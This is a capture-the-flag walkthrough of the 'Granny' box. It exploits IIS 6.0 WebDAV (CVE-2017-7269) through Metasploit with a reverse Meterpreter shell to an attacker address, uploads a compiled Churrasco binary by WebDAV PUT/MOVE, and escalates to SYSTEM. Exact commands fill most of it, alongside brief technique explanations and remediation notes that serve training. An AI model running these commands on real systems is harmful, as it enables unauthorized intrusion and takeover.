Granny
Summary
I fingerprinted an internet-exposed Windows Server 2003 host running IIS 6.0 with WebDAV enabled, then exploited a known remote-code-execution buffer overflow (CVE-2017-7269) to obtain a shell running as the low-privileged NETWORK SERVICE account. Because that account held the SeImpersonatePrivilege right and WebDAV accepted unauthenticated file uploads, I staged a Token Kidnapping binary directly onto the web root via HTTP PUT, executed it through the existing shell, and escalated to NT AUTHORITY\SYSTEM — capturing both flags on a single hop with no credentials required at any stage.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p 80 $TARGETprintf "OPTIONS / HTTP/1.1\r\nHost: $TARGET\r\n\r\n" | nc -nv -w5 $TARGET 80curl -v -X PROPFIND http://$TARGET/ -H 'Depth: 0'Exact commands 1
msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; set RHOSTS $TARGET; set RPORT 80; set SSL false; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit"FixMigrate off Windows Server 2003 / IIS 6.0 — CVE-2017-7269 has no patchCritical
Exact commands 2
sessions -i 1 -c "whoami & hostname & ver"sessions -i 1 -c "whoami /priv"Exact commands 6
searchsploit -m windows/local/6705unzip -o /usr/share/exploitdb-bin-sploits/bin-sploits/6705.zip -d churrasco6705 && cd churrasco6705/Churrascosed -i 's/Iphlpapi.h/iphlpapi.h/g; s/TxDtc.h/txdtc.h/g; s/AccCtrl.h/accctrl.h/g; s/Aclapi.h/aclapi.h/g; s/Ntsecapi.h/ntsecapi.h/g; s/XOleHlp.h/xolehlp.h/g' stdafx.h Churrasco.cppawk 'NR==19{print "#include <tlhelp32.h>"}1' Churrasco.cpp > Churrasco.cpp.tmp && mv Churrasco.cpp.tmp Churrasco.cppperl -0777 -i -pe 's/BOOL InvokeMSDTC\(\)\{.*?\n\}/BOOL InvokeMSDTC(){ return 1; }/s' Churrasco.cppi686-w64-mingw32-g++ -O2 -static -o /tmp/churrasco.exe Churrasco.cpp -lole32 -loleaut32 -lws2_32 -liphlpapi -lpsapi -lntdllExact commands 4
curl -sS -X DELETE http://$TARGET/ch.exe --max-time 10 >/dev/null || truecurl -sS -X DELETE http://$TARGET/ch.exe.txt --max-time 10 >/dev/null || truecurl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'curl -sS -X MOVE -H "Destination: http://$TARGET/ch.exe" http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'FixRequire authentication for all WebDAV write operationsCritical
Exact commands 2
sessions -i 1 -c "ch.exe \"cmd /c whoami\""sessions -i 1 -c "ch.exe \"cmd /c whoami /priv\""FixRemove SeImpersonatePrivilege from IIS service accountsHigh
Exact commands 3
sessions -i 1 -c "ch.exe \"cmd /c dir /s /b C:\\Documents^ and^ Settings\\*\\Desktop\\user.txt\""sessions -i 1 -c "ch.exe \"cmd /c type \"C:\\Documents and Settings\\Lakis\\Desktop\\user.txt\"\""sessions -i 1 -c "ch.exe \"cmd /c type \"C:\\Documents and Settings\\Administrator\\Desktop\\root.txt\"\""Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.